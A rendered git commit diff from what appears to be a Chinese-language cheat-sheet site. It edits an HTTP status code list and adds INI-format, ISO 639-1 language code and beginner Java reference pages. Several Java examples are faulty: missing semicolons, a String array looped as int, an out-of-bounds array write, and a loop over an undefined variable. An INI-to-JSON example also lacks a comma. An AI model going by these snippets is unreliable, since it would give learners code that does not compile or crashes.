- [1xx: Informational](#1xx-information) _这意味着已收到请求并且该过程正在继续_<!--rehype:tooltips-->
- [2xx: Success](#2xx-successful) _这意味着该操作已成功接收、理解和接受_<!--rehype:tooltips-->
- [3xx: Redirection](#3xx-redirection) _这意味着必须采取进一步行动才能完成请求_<!--rehype:tooltips-->
- [4xx: Client Error](#4xx-client-error) _这意味着请求包含不正确的语法或无法完成_<!--rehype:tooltips-->
- [5xx: Server Error](#5xx-server-error) _这意味着服务器未能满足明显有效的请求_<!--rehype:tooltips-->
- [1xx: Informational](#1xx-信息) _这意味着已收到请求并且该过程正在继续_<!--rehype:tooltips-->
- [2xx: Success](#2xx-成功的) _这意味着该操作已成功接收、理解和接受_<!--rehype:tooltips-->
- [3xx: Redirection](#3xx-重定向) _这意味着必须采取进一步行动才能完成请求_<!--rehype:tooltips-->
- [4xx: Client Error](#4xx-客户端错误) _这意味着请求包含不正确的语法或无法完成_<!--rehype:tooltips-->
- [5xx: Server Error](#5xx-服务器错误) _这意味着服务器未能满足明显有效的请求_<!--rehype:tooltips-->
### 2xx. 成功的
<!--rehype:wrap-class=row-span-2-->
@ -58,8 +58,8 @@ HTTP 状态码
### 3xx. 重定向
* [300: Multiple Choices](https://tools.ietf.org/html/rfc7231#section-6.4.1) _一个链接列表。 用户可以选择一个链接并转到该位置。 最多五个地址_<!--rehype:tooltips-->
* [301: Moved Permanently](https://tools.ietf.org/html/rfc7231#section-6.4.2) _请求的页面已移至新的 url _<!--rehype:tooltips-->
* [302: Found](https://tools.ietf.org/html/rfc7231#section-6.4.3) _请求的页面已临时移动到新的 url _<!--rehype:tooltips-->
* [301: Moved Permanently](https://tools.ietf.org/html/rfc7231#section-6.4.2) _请求的页面已移至新的 url_<!--rehype:tooltips-->
* [302: Found](https://tools.ietf.org/html/rfc7231#section-6.4.3) _请求的页面已临时移动到新的 url_<!--rehype:tooltips-->
* [303: See Other](https://tools.ietf.org/html/rfc7231#section-6.4.4) _请求的页面可以在不同的 url 下找到_<!--rehype:tooltips-->
* [304: Not Modified](https://tools.ietf.org/html/rfc7232#section-4.1) _这是对 If-Modified-Since 或 If-None-Match 标头的响应代码,其中 URL 自指定日期以来未修改_<!--rehype:tooltips-->
* [305: Use Proxy](https://tools.ietf.org/html/rfc7231#section-6.4.5) _请求的 URL 必须通过 Location 标头中提到的代理访问_<!--rehype:tooltips-->
@ -128,4 +128,4 @@ HTTP 状态码
- [List of FTP server return codes](https://en.wikipedia.org/wiki/List_of_FTP_server_return_codes) _(wikipedia.org)_
- [HTTP概述](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Overview) _(mozilla.org)_
- [Help for HTTP error 403: “Forbidden”](http://www.getnetgoing.com/HTTP-403.html) _(getnetgoing.com)_
- [实用的 RESTful API 最佳实践](https://www.vinaysahni.com/best-practices-for-a-pragmatic-restful-api) _(vinaysahni.com)_
- [实用的 RESTful API 最佳实践](https://www.vinaysahni.com/best-practices-for-a-pragmatic-restful-api) _(vinaysahni.com)_

185
docs/ini.md Normal file
View File

@ -0,0 +1,185 @@
INI 备忘清单
====
这是理解和编写 INI 格式配置文件的快速参考备忘单,此清单包含配置的内容,结构和语法等内容。
入门
------
### 介绍
INI 是一种固定标准格式的配置文件INI配置方法来自 MS-DOS 操作系统
```ini
; 这里是注释
[owner]
name=John Doe
organization=Acme Products
[database]
; 这里是注释
server=192.0.2.42
port=143
file="acme payroll.dat"
```
现在已成为许多配置的非正式标准,其它操作系统可能使用 `.conf``.cfg` 作为后缀
### 稳定的特性
- 基本元素是键或属性
- 每个键由`名称``值`构成,等号 (=) 分隔
- `键名称`显示在等号的`左侧`
- `等号``分号``保留`字符
<!--rehype:className=style-round-->
```ini
name = value
```
与下面👇 JSON 大致相同
```js
{
"name": "value"
}
```
### 注释
注释 (`;`)
```ini
; 这里是注释文本,将被忽略
```
注释 (`#`)
```ini
# 这里是注释文本,⚠️ 部分编译器支持
```
一行之后的注释 (`;`,`#`) _(不标准)_
```ini
var = a ; 这是一个内联注释
foo = bar # 这是另一个内联注释
```
在某些情况下注释必须单独出现在行上
### 部分(Sections)
- 名称单独出现在一行中
- 名称在方括号 `[``]`
- 没有明确的 `section 结束` 分隔符
- 在下一个 `section` 声明处或文件末尾处结束
- 部分和属性名称不区分大小写
<!--rehype:className=style-round-->
```ini
[section]
key1 = a
key2 = b
```
与下面👇 `JSON` 大致相同
```json
{
"section": {
"key1": "a",
"key2": "b"
}
}
```
### 嵌套(部分解析器支持)
```ini
[section]
domain = jaywcjlove.github.io
[section.subsection]
foo = bar
```
与下面👇 `JSON` 大致相同
```js
{
"section": {
"domain": "jaywcjlove.github.io"
"subsection": {
"foo": "bar"
}
}
}
```
嵌套到上一节(简写)
```ini
[section]
domain = jaywcjlove.github.io
[.subsection]
foo = bar
```
### 转义字符
序列 | 意思
:- | :-
`\\` | \ (单个反斜杠,转义转义字符)
`\'` | 撇号
`\"` | 双引号
`\0` | 空字符
`\a` | 铃声/警报/声音
`\b` | 退格键,某些应用程序的[贝尔字符](https://en.wikipedia.org/wiki/Bell_character)
`\t` | 制表符
`\r` | 回车
`\n` | 换行
`\;` | 分号
`\#` | 数字符号
`\=` | 等号
`\:` | 冒号
`\x????` | 十六进制代码点的 Unicode 字符对应于 ????
### 数组
```ini
[section]
domain = jaywcjlove.github.io
array[]=first value
array[]=second value
```
与下面👇 `JSON` 大致相同
```js
{
"section": {
"domain": "jaywcjlove.github.io",
"array": [
"first value", "second value"
]
}
}
```
### 解释器
- [@go-ini/ini](https://github.com/go-ini/ini) _(golang)_
- [@npm/ini](https://www.npmjs.com/package/ini) _(nodejs)_
- [@zonyitoo/rust-ini](https://github.com/zonyitoo/rust-inii) _(rust)_
- [@rxi/ini](https://www.npmjs.com/package/ini) _(c)_
- [@pulzed/mINI](https://github.com/pulzed/mINI) _(c++)_
- [@rickyah/ini-parser](https://github.com/rickyah/ini-parser) _(c#)_
- [@Enichan/Ini](https://github.com/Enichan/Ini) _(c#)_
另见
---
- [INI 文件配置](https://en.wikipedia.org/wiki/INI_file) _(wikipedia.org)_
- [YAML 格式配置文件备忘清单](./yaml.md) _(jaywcjlove.github.io)_
- [TOML 格式配置文件备忘清单](./toml.md) _(jaywcjlove.github.io)_

237
docs/iso-639-1.md Normal file
View File

@ -0,0 +1,237 @@
ISO 639-1 Language Code 备忘清单
===
这是一个符合 ISO 639-1 标准的 ISO 语言代码列表,它为多语言网站提供参考。
入门
----
### 介绍
<!--rehype:style=display:none;&wrap-style=padding-top:0;&wrap-class=col-span-3-->
- [ISO 639-1](https://en.wikipedia.org/wiki/ISO_639-1) 是用于对语言进行分类的标准化命名法
- [ISO 639-1](https://en.wikipedia.org/wiki/ISO_639-1) 代码涵盖世界主要语言
- 这些代码是用于指示语言的有用的国际和正式速记
- 两个字母的代码
- 用于多语言网站,即国际化 (`i18n`)
- [i18n](https://en.wikipedia.org/wiki/Internationalization_and_localization) 语言代码
<!--rehype:className=style-round-->
ISO 639-1 代码列表
----
### 完整代码
<!--rehype:wrap-class=col-span-3-->
639-1 代码 | ISO 语言(中文)名称 | ISO 语言名称 | 本地名称 (地名)
:-|:-|:-|:-
`aa` | 阿法尔语 | Afar | Afaraf
`ab` | 阿布哈兹语 | Abkhaz | аҧсуа бызшәа
`ae` | 阿维斯陀语 | Avestan | avesta
`af` | 南非語 | Afrikaans | Afrikaans
`ak` | 阿坎语 | Akan | Akan
`am` | 阿姆哈拉语 | Amharic | አማርኛ
`an` | 阿拉贡语 | Aragonese | aragonés
`ar` | 阿拉伯语 | Arabic | اللغة العربية
`as` | 阿萨姆语 | Assamese | অসমীয়া
`av` | 阿瓦尔语 | Avaric | авар мацӀ
`ay` | 艾马拉语 | Aymara | aymar aru
`az` | 阿塞拜疆语 | Azerbaijani | azərbaycan dili
`ba` | 巴什基尔语 | Bashkir | башҡорт теле
`be` | 白俄罗斯语 | Belarusian | беларуская мова
`bg` | 保加利亚语 | Bulgarian | български език
`bh` | 比哈尔语 | Bihari | भोजपुरी
`bi` | 比斯拉马语 | Bislama | Bislama
`bm` | 班巴拉语 | Bambara | bamanankan
`bn` | 孟加拉语 | Bengali | বাংলা
`bo` | 藏语 | Tibetan | བོད་ཡིག
`br` | 布列塔尼语 | Breton | brezhoneg
`bs` | 波斯尼亚语 | Bosnian | bosanski jezik
`ca` | 加泰隆语 | Catalan | Català
`ce` | 车臣语 | Chechen | нохчийн мотт
`ch` | 查莫罗语 | Chamorro | Chamoru
`co` | 科西嘉语 | Corsican | corsu
`cr` | 克里语 | Cree | ᓀᐦᐃᔭᐍᐏᐣ
`cs` | 捷克语 | Czech | čeština
`cu` | 古教会斯拉夫语 | Old Church Slavonic | ѩзыкъ словѣньскъ
`cv` | 楚瓦什语 | Chuvash | чӑваш чӗлхи
`cy` | 威尔士语 | Welsh | Cymraeg
`da` | 丹麦语 | Danish | dansk
`de` | 德语 | German | Deutsch
`dv` | 迪维西语 | Divehi | Dhivehi
`dz` | 不丹语 | Dzongkha | རྫོང་ཁ
`ee` | 埃维语 | Ewe | Eʋegbe
`el` | 现代希腊语 | Greek | Ελληνικά
`en` | 英语 | English | English
`eo` | 世界语 | Esperanto | Esperanto
`es` | 西班牙语 | Spanish | Español
`et` | 爱沙尼亚语 | Estonian | eesti
`eu` | 巴斯克语 | Basque | euskara
`fa` | 波斯语 | Persian | فارسی
`ff` | 富拉语 | Fula | Fulfulde
`fi` | 芬兰语 | Finnish | suomi
`fj` | 斐济语 | Fijian | Vakaviti
`fo` | 法罗语 | Faroese | føroyskt
`fr` | 法语 | French | Français
`fy` | 弗里西亚语 | Western Frisian | Frysk
`ga` | 爱尔兰语 | Irish | Gaeilge
`gd` | 苏格兰盖尔语 | Scottish Gaelic | Gàidhlig
`gl` | 加利西亚语 | Galician | galego
`gn` | 瓜拉尼语 | Guarani | avañe'ẽ
`gu` | 古吉拉特语 | Gujarati | ગુજરાતી
`gv` | 马恩岛语 | Manx | Gaelg
`ha` | 豪萨语 | Hausa | هَوُسَ
`he` | 希伯来语 | Hebrew | עברית
`hi` | 印地语 | Hindi | हिन्दी
`ho` | 希里莫图语 | Hiri Motu | Hiri Motu
`hr` | 克罗地亚语 | Croatian | Hrvatski
`ht` | 海地克里奥尔语 | Haitian | Kreyòl ayisyen
`hu` | 匈牙利语 | Hungarian | magyar
`hy` | 亚美尼亚语 | Armenian | Հայերեն
`hz` | 赫雷罗语 | Herero | Otjiherero
`ia` | 因特语 | Interlingua | Interlingua
`id` | 印尼语 | Indonesian | Bahasa Indonesia
`ie` | 西方国际语 | Interlingue | Interlingue
`ig` | 伊博语 | Igbo | Asụsụ Igbo
`ii` | 四川彝语(诺苏语) | Nuosu | ꆈꌠ꒿ Nuosuhxop
`ik` | 伊努皮克语 | Inupiaq | Iñupiaq
`io` | 伊多语 | Ido | Ido
`is` | 冰岛语 | Icelandic | Íslenska
`it` | 意大利语 | Italian | Italiano
`iu` | 因纽特语 | Inuktitut | ᐃᓄᒃᑎᑐᑦ
`ja` | 日语 | Japanese | 日本語
`jv` | 爪哇语 | Javanese | basa Jawa
`ka` | 格鲁吉亚语 | Georgian | ქართული
`kg` | 刚果语 | Kongo | Kikongo
`ki` | 基库尤语 | Kikuyu | Gĩkũyũ
`kj` | 宽亚玛语 | Kwanyama | Kuanyama
`kk` | 哈萨克语 | Kazakh | қазақ тілі
`kl` | 格陵兰语 | Kalaallisut | kalaallisut
`km` | 高棉语 | Khmer | ខេមរភាសា
`kn` | 卡纳达语 | Kannada | ಕನ್ನಡ
`ko` | 朝鲜语、韩语 | Korean | 한국어
`kr` | 卡努里语 | Kanuri | Kanuri
`ks` | 克什米尔语 | Kashmiri | कश्मीरी
`ku` | 库尔德语 | Kurdish | Kurdî
`kv` | 科米语 | Komi | коми кыв
`kw` | 康沃尔语 | Cornish | Kernewek
`ky` | 吉尔吉斯语 | Kyrgyz | Кыргызча
`la` | 拉丁语 | Latin | latine
`lb` | 卢森堡语 | Luxembourgish | Lëtzebuergesch
`lg` | 卢干达语 | Ganda | Luganda
`li` | 林堡语 | Limburgish | Limburgs
`ln` | 林加拉语 | Lingala | Lingála
`lo` | 老挝语 | Lao | ພາສາ
`lt` | 立陶宛语 | Lithuanian | lietuvių kalba
`lu` | 卢巴语 | Luba-Katanga | Tshiluba
`lv` | 拉脱维亚语 | Latvian | latviešu valoda
`mg` | 马达加斯加语 | Malagasy | fiteny malagasy
`mh` | 马绍尔语 | Marshallese | Kajin M̧ajeļ
`mi` | 毛利语 | Māori | te reo Māori
`mk` | 马其顿语 | Macedonian | македонски јазик
`ml` | 马拉雅拉姆语 | Malayalam | മലയാളം
`mn` | 蒙古语 | Mongolian | Монгол хэл
`mo` | 摩尔达维亚语 | Moldovan | Лимба молдовеняскэ
`mr` | 马拉地语 | Marathi | मराठी
`ms` | 马来语 | Malay | Bahasa Malaysia
`mt` | 马耳他语 | Maltese | Malti
`my` | 缅甸语 | Burmese | ဗမာစာ
`na` | 瑙鲁语 | Nauru | Ekakairũ Naoero
`nb` | 书面挪威语 | Norwegian Bokmål | Norsk bokmål
`nd` | 北恩德贝莱语 | Northern Ndebele | isiNdebele
`ne` | 尼泊尔语 | Nepali | नेपाली
`ng` | 恩敦加语 | Ndonga | Owambo
`nl` | 荷兰语 | Dutch | Nederlands
`nn` | 新挪威语 | Norwegian Nynorsk | Norsk nynorsk
`no` | 挪威语 | Norwegian | Norsk
`nr` | 南恩德贝莱语 | Southern Ndebele | isiNdebele
`nv` | 纳瓦霍语 | Navajo | Diné bizaad
`ny` | 尼扬贾语 | Chichewa | chiCheŵa
`oc` | 奥克语 | Occitan | occitan
`oj` | 奥杰布瓦语 | Ojibwe | ᐊᓂᔑᓈᐯᒧᐎᓐ
`om` | 奥罗莫语 | Oromo | Afaan Oromoo
`or` | 奥里亚语 | Oriya | ଓଡ଼ିଆ
`os` | 奥塞梯语 | Ossetian | ирон æвзаг
`pa` | 旁遮普语 | Panjabi | ਪੰਜਾਬੀ
`pi` | 巴利语 | Pāli | पाऴि
`pl` | 波兰语 | Polish | Polski
`ps` | 普什图语 | Pashto | پښتو
`pt` | 葡萄牙语 | Portuguese | Português
`qu` | 克丘亚语 | Quechua | Runa Simi
`rm` | 罗曼什语 | Romansh | rumantsch grischun
`rn` | 基隆迪语 | Kirundi | Ikirundi
`ro` | 罗马尼亚语 | Romanian | Română
`ru` | 俄语 | Russian | Русский
`rw` | 卢旺达语 | Kinyarwanda | Ikinyarwanda
`sa` | 梵语 | Sanskrit | संस्कृतम्
`sc` | 撒丁语 | Sardinian | sardu
`sd` | 信德语 | Sindhi | सिन्धी
`se` | 北萨米语 | Northern Sami | Davvisámegiella
`sg` | 桑戈语 | Sango | yângâ tî sängö
`sh` | 塞尔维亚-克罗地亚语 | Serbo-Croatian | Српскохрватски језик
`si` | 僧伽罗语 | Sinhala | සිංහල
`sk` | 斯洛伐克语 | Slovak | slovenčina
`sl` | 斯洛文尼亚语 | Slovenian | slovenščina
`sm` | 萨摩亚语 | - | -
`sn` | 修纳语 | Shona | chiShona
`so` | 索马里语 | Somali | Soomaaliga
`sq` | 阿尔巴尼亚语 | Albanian | Shqip
`sr` | 塞尔维亚语 | Serbian | српски језик
`ss` | 斯威士语 | Swati | SiSwati
`st` | 塞索托语 | Southern Sotho | Sesotho
`su` | 巽他语 | Sundanese | Basa Sunda
`sv` | 瑞典语 | Swedish | Svenska
`sw` | 斯瓦希里语 | Swahili | Kiswahili
`ta` | 泰米尔语 | Tamil | தமிழ்
`te` | 泰卢固语 | Telugu | తెలుగు
`tg` | 塔吉克语 | Tajik | тоҷикӣ
`th` | 泰语 | Thai | ไทย
`ti` | 提格雷尼亚语 | Tigrinya | ትግርኛ
`tk` | 土库曼语 | Turkmen | Türkmen
`tl` | 他加禄语 | Tagalog | Wikang Tagalog
`tn` | 茨瓦纳语 | Tswana | Setswana
`to` | 汤加语 | Tonga | faka Tonga
`tr` | 土耳其语 | Turkish | Türkçe
`ts` | 宗加语 | Tsonga | Xitsonga
`tt` | 塔塔尔语 | Tatar | татар теле
`tw` | 特威语 | Twi | Twi
`ty` | 塔希提语 | Tahitian | Reo Tahiti
`ug` | 维吾尔语 | Uyghur | ئۇيغۇرچە‎
`uk` | 乌克兰语 | Ukrainian | Українська
`ur` | 乌尔都语 | Urdu | اردو
`uz` | 乌兹别克语 | Uzbek | Ўзбек
`ve` | 文达语 | Venda | Tshivenḓa
`vi` | 越南语 | Vietnamese | Tiếng Việt
`vo` | 沃拉普克语 | Volapük | Volapük
`wa` | 瓦隆语 | Walloon | walon
`wo` | 沃洛夫语 | Wolof | Wollof
`xh` | 科萨语 | Xhosa | isiXhosa
`yi` | 依地语 | Yiddish | ייִדיש
`yo` | 约鲁巴语 | Yoruba | Yorùbá
`za` | 壮语 | Zhuang | Saɯ cueŋƅ
`zh` | 汉语(中文) | Chinese | 中文
`zu` | 祖鲁语 | Zulu | isiZulu
<!--rehype:className=show-header-->
### SO 639-1 新增了以下语言
<!--rehype:wrap-class=col-span-3-->
ISO 639-1 | ISO 639-2 | 名称 | 更改日期 | 更改类型 | 曾用代码
:-|:-|:-|:-|:-|:-
io | ido | 伊多语 | 2002年1月15日 | 新增 | art
wa | wln | 瓦隆语 | 2002年1月29日 | 新增 | roa
li | lim | 林堡语 | 2002年8月2日 | 新增 | gem
ii | iii | 四川省彝语(诺苏语) | 2002年10月14日 | 新增 | -
an | arg | 阿拉贡语 | 2002年12月23日 | 新增 | roa
ht | hat | 海地克里奥尔语 | 2003年2月26日 | 新增 | cpf
<!--rehype:className=show-header-->
自 [RFC 3066](https://tools.ietf.org/html/rfc3066) 出版后ISO 639-1 新增了以上语言
另见
---
<!--rehype:wrap-class=col-span-3-->
- [国际化与本地化](https://zh.wikipedia.org/wiki/国际化与本地化) _(wikipedia.org)_
- [ISO_639-1](https://zh.wikipedia.org/wiki/ISO_639-1) _(wikipedia.org)_

774
docs/java.md Normal file
View File

@ -0,0 +1,774 @@
Java 备忘清单
===
该备忘单是针对 Java 初学者的速成课程,有助于复习 Java 语言的基本语法。
入门
--------
### Hello.java
<!--rehype:wrap-class=row-span-2-->
```java
public class Hello {
// 主要方法
public static void main(String[] args)
{
// 输出: Hello, world!
System.out.println("Hello, world!");
}
}
```
编译和运行
```shell
$ javac Hello.java
$ java Hello
Hello, world!
```
### 变量 Variables
```java
int num = 5;
float floatNum = 5.99f;
char letter = 'D';
boolean bool = true;
String site = "quickref.me";
```
### 原始数据类型
<!--rehype:wrap-class=row-span-2-->
| 数据类型 | 大小 | 默认 | 范围 |
|-----------|--------|---------|---------------------|
| `byte` | 1 byte | 0 | -128 ^to^ 127 |
| `short` | 2 byte | 0 | -2^15^ ^to^ 2^15^-1 |
| `int` | 4 byte | 0 | -2^31^ ^to^ 2^31^-1 |
| `long` | 8 byte | 0 | -2^63^ ^to^ 2^63^-1 |
| `float` | 4 byte | 0.0f | _N/A_ |
| `double` | 8 byte | 0.0d | _N/A_ |
| `char` | 2 byte | \\u0000 | 0 ^to^ 65535 |
| `boolean` | _N/A_ | false | true / false |
<!--rehype:className=show-header-->
### 字符串 Strings
```java
String first = "John";
String last = "Doe";
String name = first + " " + last;
System.out.println(name);
```
查看: [Strings](#java-字符串)
### 循环 Loops
```java
String word = "QuickRef";
for (char c: word.toCharArray()) {
System.out.print(c + "-");
}
// 输出: Q-u-i-c-k-R-e-f-
```
查看: [Loops](#java-循环)
### 数组 Arrays
```java
char[] chars = new char[10];
chars[0] = 'a'
chars[1] = 'b'
String[] letters = {"A", "B", "C"};
int[] mylist = {100, 200};
boolean[] answers = {true, false};
```
查看: [Arrays](#java-数组)
### Swap
```java
int a = 1;
int b = 2;
System.out.println(a + " " + b); // 1 2
int temp = a;
a = b;
b = temp;
System.out.println(a + " " + b); // 2 1
```
### Type Casting
```java
// Widening
// byte<short<int<long<float<double
int i = 10;
long l = i; // 10
// Narrowing
double d = 10.02;
long l = (long)d; // 10
String.valueOf(10); // "10"
Integer.parseInt("10"); // 10
Double.parseDouble("10"); // 10.0
```
### 条件语句 Conditionals
```java
int j = 10;
if (j == 10) {
System.out.println("I get printed");
} else if (j > 10) {
System.out.println("I don't");
} else {
System.out.println("I also don't");
}
```
查看: [Conditionals](#java-conditionals)
### 用户输入
```java
Scanner in = new Scanner(System.in);
String str = in.nextLine();
System.out.println(str);
int num = in.nextInt();
System.out.println(num);
```
Java 字符串
-------
### 基本的
```java
String str1 = "value";
String str2 = new String("value");
String str3 = String.valueOf(123);
```
### 字符串连接
```java
String s = 3 + "str" + 3; // 3str3
String s = 3 + 3 + "str"; // 6str
String s = "3" + 3 + "str"; // 33str
String s = "3" + "3" + "23"; // 3323
String s = "" + 3 + 3 + "23"; // 3323
String s = 3 + 3 + 23; // 29
```
### 字符串生成器
<!--rehype:wrap-class=row-span-3-->
```java
StringBuilder sb = new StringBuilder(10);
```
---
```java
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
| | | | | | | | | |
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
0 1 2 3 4 5 6 7 8 9
```
---
```java
sb.append("Reference");
```
---
```java
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
| R | e | f | e | r | e | n | c | e |
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
0 1 2 3 4 5 6 7 8 9
```
---
```java
sb.delete(3, 9);
```
---
```java
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
| R | e | f | | | | | | |
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
0 1 2 3 4 5 6 7 8 9
```
---
```java
sb.insert(0, "My ");
```
---
```java
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
| M | y | | R | e | f | | | |
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
0 1 2 3 4 5 6 7 8 9
```
---
```java
sb.append("!");
```
---
```java
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
| M | y | | R | e | f | ! | | |
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
0 1 2 3 4 5 6 7 8 9
```
### 比较
```java
String s1 = new String("QuickRef");
String s2 = new String("QuickRef");
s1 == s2 // false
s1.equals(s2) // true
"AB".equalsIgnoreCase("ab") // true
```
### 操纵
```java
String str = "Abcd";
str.toUpperCase(); // ABCD
str.toLowerCase(); // abcd
str.concat("#"); // Abcd#
str.replace("b", "-"); // A-cd
" abc ".trim(); // abc
"ab".toCharArray(); // {'a', 'b'}
```
### 信息
```java
String str = "abcd";
str.charAt(2); // c
str.indexOf("a") // 0
str.indexOf("z") // -1
str.length(); // 4
str.toString(); // abcd
str.substring(2); // cd
str.substring(2,3); // c
str.contains("c"); // true
str.endsWith("d"); // true
str.startsWith("a"); // true
str.isEmpty(); // false
```
### 不可变
```java
String str = "hello";
str.concat("world");
// 输出: hello
System.out.println(str);
```
---
```java
String str = "hello";
String concat = str.concat("world");
// 输出: helloworld
System.out.println(concat);
```
一旦创建就不能修改任何修改都会创建一个新的String
Java 数组
-------
### 申明 Declare
```java
int[] a1;
int[] a2 = {1, 2, 3};
int[] a3 = new int[]{1, 2, 3};
int[] a4 = new int[3];
a4[0] = 1;
a4[2] = 2;
a4[3] = 3;
```
### 修改 Modify
```java
int[] a = {1, 2, 3};
System.out.println(a[0]); // 1
a[0] = 9;
System.out.println(a[0]); // 9
System.out.println(a.length); // 3
```
### 循环 (读 & 写)
```java
int[] arr = {1, 2, 3};
for (int i=0; i < arr.length; i++) {
arr[i] = arr[i] * 2;
System.out.print(arr[i] + " ");
}
// 输出: 2 4 6
```
### Loop (Read)
```java
String[] arr = {"a", "b", "c"};
for (int a: arr) {
System.out.print(a + " ");
}
// 输出: a b c
```
### Multidimensional Arrays
```java
int[][] matrix = { {1, 2, 3}, {4, 5} };
int x = matrix[1][0]; // 4
// [[1, 2, 3], [4, 5]]
Arrays.deepToString(matrix)
for (int i = 0; i < a.length; ++i) {
for(int j = 0; j < a[i].length; ++j) {
System.out.println(a[i][j]);
}
}
// 输出: 1 2 3 4 5 6 7
```
### Sort
```java
char[] chars = {'b', 'a', 'c'};
Arrays.sort(chars);
// [a, b, c]
Arrays.toString(chars);
```
Java 条件语句
-----------
### 运算符
<!--rehype:wrap-class=row-span-3-->
- `+` _(加法运算符(也用于字符串连接))_
- `-` _(减法运算符)_
- `*` _(乘法运算符)_
- `/` _(分区运算符)_
- `%` _(余数运算符)_
- `=` _(简单赋值运算符)_
- `++` _(增量运算符;将值增加 1)_
- `--` _(递减运算符;将值减 1)_
- `!` _(逻辑补码运算符;反转布尔值)_
<!--rehype:className=style-round-->
----
- `==` _(等于)_
- `!=` _(不等于)_
- `>` _(比...更棒)_
- `>=` _(大于或等于)_
- `<` _(少于)_
- `<=` _(小于或等于)_
<!--rehype:className=cols-2 style-round-->
----
- `&&` _条件与_
- `||` _条件或_
- [?:](#三元运算符) _三元(if-then-else 语句的简写)_
<!--rehype:className=style-round-->
----
- `instanceof` _(将对象与指定类型进行比较)_
<!--rehype:className=style-round-->
----
- `~` _(一元按位补码)_
- `<<` _(签名左移)_
- `>>` _(有符号右移)_
- `>>>` _(无符号右移)_
- `&` _(按位与)_
- `^` _(按位异或)_
- `|` _(按位包含 OR)_
<!--rehype:className=cols-2 style-round-->
### If else
```java
int k = 15;
if (k > 20) {
System.out.println(1);
} else if (k > 10) {
System.out.println(2);
} else {
System.out.println(3);
}
```
### Switch
<!--rehype:wrap-class=row-span-2-->
```java
int month = 3;
String str;
switch (month) {
case 1:
str = "January";
break;
case 2:
str = "February";
break;
case 3:
str = "March";
break;
default:
str = "Some other month";
break;
}
// 输出: Result March
System.out.println("Result " + str);
```
### 三元运算符
```java
int a = 10;
int b = 20;
int max = (a > b) ? a : b;
// 输出: 20
System.out.println(max);
```
Java 循环
----
### For 循环
```java
for (int i = 0; i < 10; i++) {
System.out.print(i);
}
// 输出: 0123456789
```
------
```java
for (int i = 0,j = 0; i < 3; i++,j--) {
System.out.print(j + "|" + i + " ");
}
// 输出: 0|0 -1|1 -2|2
```
### 增强的 For 循环
```java
int[] numbers = {1,2,3,4,5};
for (int number: numbers) {
System.out.print(number);
}
// 输出: 12345
```
用于循环数组或列表
### While 循环
```java
int count = 0;
while (count < 5) {
System.out.print(count);
count++;
}
// 输出: 01234
```
### Do While 循环
```java
int count = 0;
do {
System.out.print(count);
count++;
} while (count < 5);
// 输出: 01234
```
### 继续声明
```java
for (int i = 0; i < 5; i++) {
if (i == 3) {
continue;
}
System.out.print(i);
}
// 输出: 01245
```
### 中断语句
```java
for (int i = 0; i < 5; i++) {
System.out.print(i);
if (i == 3) {
break;
}
}
// 输出: 0123
```
Java 框架搜集
--------------------
### Java 搜集
<!--rehype:wrap-class=col-span-2 row-span-2-->
搜集 | Interface | 有序 | 已排序 | 线程安全 | 复制 | Nullable
:-|:-|:-|:-|:-|:-|:-
[ArrayList](https://docs.oracle.com/javase/8/docs/api/java/util/ArrayList.html) | List | Y | _N_ | _N_ | Y | Y
[Vector](https://docs.oracle.com/javase/8/docs/api/java/util/Vector.html) | List | Y | _N_ | Y | Y | Y
[LinkedList](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedList.html) | List, Deque | Y | _N_ | _N_ | Y | Y
[CopyOnWriteArrayList](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CopyOnWriteArrayList.html) | List | Y | _N_ | Y | Y | Y
[HashSet](https://docs.oracle.com/javase/8/docs/api/java/util/HashSet.html) | Set | _N_ | _N_ | _N_ | _N_ | One `null`
[LinkedHashSet](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedHashSet.html) | Set | Y | _N_ | _N_ | _N_ | One `null`
[TreeSet](https://docs.oracle.com/javase/8/docs/api/java/util/TreeSet.html) | Set | Y | Y | _N_ | _N_ | _N_
[CopyOnWriteArraySet](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CopyOnWriteArraySet.html) | Set | Y | _N_ | Y | _N_ | One `null`
[ConcurrentSkipListSet](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentSkipListSet.html) | Set | Y | Y | Y | _N_ | _N_
[HashMap](https://docs.oracle.com/javase/8/docs/api/java/util/HashMap.html) | Map | _N_ | _N_ | _N_ | _N (key)_ | One `null` _(key)_
[HashTable](https://docs.oracle.com/javase/8/docs/api/java/util/Hashtable.html) | Map | _N_ | _N_ | Y | _N (key)_ | _N (key)_
[LinkedHashMap](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedHashMap.html) | Map | Y | _N_ | _N_ | _N (key)_ | One `null` _(key)_
[TreeMap](https://docs.oracle.com/javase/8/docs/api/java/util/TreeMap.html) | Map | Y | Y | _N_ | _N (key)_ | _N (key)_
[ConcurrentHashMap](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentHashMap.html) | Map | _N_ | _N_ | Y | _N (key)_ | _N_
[ConcurrentSkipListMap](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentSkipListMap.html) | Map | Y | Y | Y | _N (key)_ | _N_
[ArrayDeque](https://docs.oracle.com/javase/8/docs/api/java/util/ArrayDeque.html) | Deque | Y | _N_ | _N_ | Y | _N_
[PriorityQueue](https://docs.oracle.com/javase/8/docs/api/java/util/PriorityQueue.html) | Queue | Y | _N_ | _N_ | Y | _N_
[ConcurrentLinkedQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentLinkedQueue.html) | Queue | Y | _N_ | Y | Y | _N_
[ConcurrentLinkedDeque](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentLinkedDeque.html) | Deque | Y | _N_ | Y | Y | _N_
